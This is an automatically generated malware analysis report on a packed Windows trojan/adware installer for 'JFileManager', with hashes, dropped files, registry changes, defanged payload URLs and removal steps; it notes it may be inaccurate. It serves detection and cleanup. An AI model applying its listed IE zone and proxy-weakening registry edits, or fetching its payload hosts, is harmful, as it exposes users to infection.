not-a-virus:HEUR:AdWare.Win32.SoftPulse.heur (Kaspersky), Trojan.Win32.IEDummy.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, Adware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: deaa9eccd4f628df33384d673b0126fe
SHA1: 083d22ab6c9093e1cf3874fd6c904ca55209f581
SHA256: 9d18d1e5c523d868f316903144a3e94169732e182ab6f65c00d28094a9267e8c
SSDeep: 12288:rs9eJNhvHIzi0SRHxmVUOXem8MXv4LnroIEf/bWjD5bCETr CAImjCcj04PYf:rs9eJTyil8UOX9xXv4von/KhbjTzAYf
Size: 692600 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-12-30 11:08:49
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
jfilemanagersetup.exe:1164
The Trojan injects its code into the following process(es):
%original file name%.exe:652
JFileManager.exe:604
WebBrowser.exe:2024
Mutexes
The following mutexes were created/opened:
__DDrawCheckExclMode__DDrawWindowListMutexDDrawDriverObjectListMutex__DDrawExclMode__CTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003ShimCacheMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_c:!documents and settings!adm!cookies!DBWinMutexWininetConnectionMutexWininetProxyRegistryMutexRasPbFileWininetStartupMutexZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexoleacc-msaa-loaded
File activity
The process %original file name%.exe:652 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loadingBar[1].gif (7488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\style[1].css (3283 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\i-download[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\progress-bar[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\JFileManagerSetup[1].exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\47c1430b-7ecf-44a2-910b-7fd35156c46a\jfilemanagersetup.exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%System%\wbem\Logs\wbemprox.log (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\loading-install[1].gif (7 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\488a72a825fe0548cc502e084b28da856326b7f6177061b429e806367189c4cb91437f659641ba492e9c3eb844354c2e9a15edc48c0d7fc9[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\c7ef6bc7b0c7f2be110af182bd6dcfbede7020d7c437c2ab3bfb751ae36ed2ec9e1026431f961b72b9860faff5fe3f259a41482878cfad66[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\JFileManagerSetup[1].exe (0 bytes)
The process jfilemanagersetup.exe:1164 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Program Files%\JFileManager\Languages\Italian.gif (934 bytes)
%Program Files%\JFileManager\Languages\Hindi.ini (2 bytes)
%Program Files%\JFileManager\Languages\Italian.ini (1 bytes)
%Program Files%\JFileManager\icono.ico (12088 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy2.tmp (126424 bytes)
%Program Files%\JFileManager\Languages\Hindi.gif (920 bytes)
%Program Files%\JFileManager\Newtonsoft.Json.dll (12536 bytes)
%Program Files%\JFileManager\Languages\Spanish.gif (569 bytes)
%Program Files%\JFileManager\Languages\Spanish.ini (1 bytes)
%Program Files%\JFileManager\JFileManager.exe (37368 bytes)
%Program Files%\JFileManager\Languages\English.ini (1 bytes)
%Program Files%\JFileManager\Languages\French.gif (928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso3.tmp\nsProcess.dll (4 bytes)
%Program Files%\JFileManager\Languages\Portuguese.ini (1 bytes)
%Program Files%\JFileManager\dotNetFx40_Full_setup.exe (30344 bytes)
%Program Files%\JFileManager\Languages\Hebrew.gif (929 bytes)
%Program Files%\JFileManager\update.xml (206 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\JFileManager.lnk (836 bytes)
%Program Files%\JFileManager\Languages\English.gif (977 bytes)
%Program Files%\JFileManager\uninstall.exe (3096 bytes)
%Program Files%\JFileManager\Languages\Portuguese.gif (883 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\Uninstall JFileManager.lnk (637 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Config.ini (190 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\fastresume.data (2 bytes)
%Program Files%\JFileManager\ComponentFactory.Krypton.Toolkit.dll (77843 bytes)
%Program Files%\JFileManager\ClipboardURLCatcher.jar (2 bytes)
%Program Files%\JFileManager\jfilemanager.affcode (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso3.tmp\System.dll (11 bytes)
%Program Files%\JFileManager\Languages\French.ini (1 bytes)
%Program Files%\JFileManager\jfilemanager.uidnum (23 bytes)
%Program Files%\JFileManager\Languages\Hebrew.ini (1 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).gif (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\DhtNodes (2 bytes)
%Program Files%\JFileManager\Languages\German.gif (916 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\WebBrowserJFile.lnk (1 bytes)
%Program Files%\JFileManager\WebBrowser.exe (5064 bytes)
%Documents and Settings%\All Users\Desktop\JFileManager.lnk (824 bytes)
%Program Files%\JFileManager\Languages\German.ini (1 bytes)
%Program Files%\JFileManager\LTV.exe (6 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nso3.tmp\nsProcess.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso3.tmp\System.dll (0 bytes)
Registry activity
The process %original file name%.exe:652 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\47c1430b-7ecf-44a2-910b-7fd35156c46a]
"jfilemanagersetup.exe" = "jfilemanagersetup"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1451466529"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DB 2B 1E B5 72 86 62 48 23 E1 D8 16 43 68 E1 7F"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process JFileManager.exe:604 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FE 58 36 CB 57 36 A4 73 5D 7E D9 34 97 E0 A7 DB"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
The process WebBrowser.exe:2024 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "38 0E 67 1D 1B CD 0A 06 2F 22 5B 8E A8 D9 EC 82"
The process jfilemanagersetup.exe:1164 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"Publisher" = ""
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"DisplayVersion" = "v1.0.0.2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"UninstallString" = "%Program Files%\JFileManager\uninstall.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKLM\SOFTWARE\JFileManager\JFileManager]
"InstallDir" = "%Program Files%\JFileManager"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"DisplayName" = "JFileManager"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 E4 F0 20 F5 35 3B 63 A2 38 5B 07 05 B6 65 C1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"EstimatedSize" = "6015"
"DisplayIcon" = "%Program Files%\JFileManager\JFileManager.exe"
[HKLM\SOFTWARE\JFileManager\JFileManager]
"(Default)" = "%Program Files%\JFileManager\JFileManager.exe"
Dropped PE files
| MD5 | File path |
|---|---|
| ca04007495aae5057da274a53a338ddc | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\Setup Wizard\47c1430b-7ecf-44a2-910b-7fd35156c46a\jfilemanagersetup.exe |
| ca04007495aae5057da274a53a338ddc | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\JFileManagerSetup[1].exe |
| 67986ec074b86590e110a76480f7da99 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\msjava[1].dll |
| ac56f3a4d75499f5501dd8ee0faba055 | c:\Program Files\JFileManager\ComponentFactory.Krypton.Toolkit.dll |
| c6d1dc750e7c72e70fe919441bfd7efe | c:\Program Files\JFileManager\JFileManager.exe |
| f4f2e95f1bd669f0ff2fda93df846fc6 | c:\Program Files\JFileManager\LTV.exe |
| 9de67831de7205e5f7a8d95325b4c366 | c:\Program Files\JFileManager\Newtonsoft.Json.dll |
| 617ae3416669fb73ab8fd76b1c96bce4 | c:\Program Files\JFileManager\WebBrowser.exe |
| 53406e9988306cbd4537677c5336aba4 | c:\Program Files\JFileManager\dotNetFx40_Full_setup.exe |
| 096d18f71e04b204860a7d4f89d16728 | c:\Program Files\JFileManager\uninstall.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
jfilemanagersetup.exe:1164
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loadingBar[1].gif (7488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\style[1].css (3283 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\i-download[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\progress-bar[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\JFileManagerSetup[1].exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\47c1430b-7ecf-44a2-910b-7fd35156c46a\jfilemanagersetup.exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%System%\wbem\Logs\wbemprox.log (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\loading-install[1].gif (7 bytes)
%Program Files%\JFileManager\Languages\Italian.gif (934 bytes)
%Program Files%\JFileManager\Languages\Hindi.ini (2 bytes)
%Program Files%\JFileManager\Languages\Italian.ini (1 bytes)
%Program Files%\JFileManager\icono.ico (12088 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy2.tmp (126424 bytes)
%Program Files%\JFileManager\Languages\Hindi.gif (920 bytes)
%Program Files%\JFileManager\Newtonsoft.Json.dll (12536 bytes)
%Program Files%\JFileManager\Languages\Spanish.gif (569 bytes)
%Program Files%\JFileManager\Languages\Spanish.ini (1 bytes)
%Program Files%\JFileManager\JFileManager.exe (37368 bytes)
%Program Files%\JFileManager\Languages\English.ini (1 bytes)
%Program Files%\JFileManager\Languages\French.gif (928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso3.tmp\nsProcess.dll (4 bytes)
%Program Files%\JFileManager\Languages\Portuguese.ini (1 bytes)
%Program Files%\JFileManager\dotNetFx40_Full_setup.exe (30344 bytes)
%Program Files%\JFileManager\Languages\Hebrew.gif (929 bytes)
%Program Files%\JFileManager\update.xml (206 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\JFileManager.lnk (836 bytes)
%Program Files%\JFileManager\Languages\English.gif (977 bytes)
%Program Files%\JFileManager\uninstall.exe (3096 bytes)
%Program Files%\JFileManager\Languages\Portuguese.gif (883 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\Uninstall JFileManager.lnk (637 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Config.ini (190 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\fastresume.data (2 bytes)
%Program Files%\JFileManager\ComponentFactory.Krypton.Toolkit.dll (77843 bytes)
%Program Files%\JFileManager\ClipboardURLCatcher.jar (2 bytes)
%Program Files%\JFileManager\jfilemanager.affcode (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso3.tmp\System.dll (11 bytes)
%Program Files%\JFileManager\Languages\French.ini (1 bytes)
%Program Files%\JFileManager\jfilemanager.uidnum (23 bytes)
%Program Files%\JFileManager\Languages\Hebrew.ini (1 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).gif (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\DhtNodes (2 bytes)
%Program Files%\JFileManager\Languages\German.gif (916 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\WebBrowserJFile.lnk (1 bytes)
%Program Files%\JFileManager\WebBrowser.exe (5064 bytes)
%Documents and Settings%\All Users\Desktop\JFileManager.lnk (824 bytes)
%Program Files%\JFileManager\Languages\German.ini (1 bytes)
%Program Files%\JFileManager\LTV.exe (6 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| UPX0 | 4096 | 1077248 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
| UPX1 | 1081344 | 651264 | 647680 | 5.48292 | 965601d460f04e6bb187e41bb33a764d |
| .rsrc | 1732608 | 40960 | 37376 | 4.15399 | b029648113a76b9b9074c82964026a14 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 295
2ebc77007317b3984401b2395ce3b045
69bbf6ba378cad4cf4cf094f5af6b122
202a147c91949bbbf55288beaae2ac36
223898169676d4f4e70d01ead1124683
f06e17e72aef96178cda1ccc7deed644
42a68511943dc378c005ca54bf06723b
b9db4f80a07c2269856225636c125d5d
d7b0f0f6e90269b731a0fe94145a8537
9da2cc631ee3e7d03f32b47310427634
87003c9a7bf843eafc36dac02daf376c
69d6b5ab710559371cbc48cdcbbc255f
bff89fe3a5cc571efbe296e60ebc4d0b
f914908774a7ececa6cec2c5e7bed74c
fa8076ba093eb87c310b5a4f732a1043
d08e34d9c9f8215195b49bc102e80511
a2019832037d56b4b06537532f96b68c
fd90aed79221c2df74aa1fd18b7ff801
8deb6be1ae61cce0f6250280e3f273ad
8bb75a0398b4d098221f2713f85fdbde
41e105e5d45e7ae62ced20e5f575934d
caeeb1aeb8294f1907c90033467e5f73
7a48b7344157d0c443722ac8478c8ff9
bb4f17cbdf697dc9ad1bfa3798ec0a91
94fa777dfc88672815b1462451c10640
730645be6ffce7d48401752e3e14efaa
77f890ff333f7363dd48e7e0c2f7ff3e
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://api.hitmagno.com/ | 52.35.218.49 |
| hxxp://api.hitmagno.com/d5/msjava.dll | 52.35.218.49 |
| hxxp://api.hitmagno.com/df465f89085608a9cb8ef83282e2d01d395a6586e6f73b0ecf16c3ea44735245b7856f7a0541ca606390aeb7b661bd08c24c4b68ff9f37b13080f9711e0922cb8a98695b53fdef7b7242d8f26d798e5a144284b316248df8c4c2fc05123732702ad0a9652f574764 | 52.35.218.49 |
| hxxp://api.hitmagno.com/488a72a825fe0548cc502e084b28da856326b7f6177061b429e806367189c4cb91437f659641ba492e9c3eb844354c2e9a15edc48c0d7fc9 | 52.35.218.49 |
| hxxp://api.hitmagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css | 52.35.218.49 |
| hxxp://api.hitmagno.com/__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en | 52.35.218.49 |
| hxxp://api.hitmagno.com/__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater | 52.35.218.49 |
| hxxp://api.hitmagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png | 52.35.218.49 |
| hxxp://api.hitmagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif | 52.35.218.49 |
| hxxp://69.4.238.159/8c/JFileManagerSetup.exe | |
| hxxp://api.hitmagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png | 52.35.218.49 |
| hxxp://api.hitmagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif | 52.35.218.49 |
| hxxp://www.hitmagno.com/BesH3gE9/pop-up/ | 54.213.71.128 |
| hxxp://www.hitmagno.com/lpresources/js/linkv2.js | 54.213.71.128 |
| hxxp://www.hitmagno.com/lpresources/js/ainj.js | 54.213.71.128 |
| hxxp://www.hitmagno.com/lpresources/js/dlStoragev1.js | 54.213.71.128 |
| hxxp://www.hitmagno.com/mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js | 54.213.71.128 |
| hxxp://n149adserv.com/js/show_ads.js | 204.155.152.38 |
| hxxp://api.hitmagno.com/c7ef6bc7b0c7f2be110af182bd6dcfbede7020d7c437c2ab3bfb751ae36ed2ec9e1026431f961b72b9860faff5fe3f259a41482878cfad66 | 52.35.218.49 |
| hxxp://api.hitmagno.com/__maxpower__/render_screen/2014/11/a888aa68-73d0-11e4-b71d-06a3579b0dab/screen_variation=videoUpdater | 52.35.218.49 |
| hxxp://api.hitmagno.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif | 52.35.218.49 |
| hxxp://staticrr.tgusrv.com/sdb/e0/WebBrowser.xml?decf7501-272a-4aa5-8ede-8d6cd5d3c4dc | |
| hxxp://staticrr.fastplayerpro.com/sdb/e0/WebBrowser.xml?decf7501-272a-4aa5-8ede-8d6cd5d3c4dc | 52.25.133.123 |
| hxxp://static.hitmagno.com/d5/msjava.dll | 52.35.218.49 |
| ssl.google-analytics.com | 216.58.214.200 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
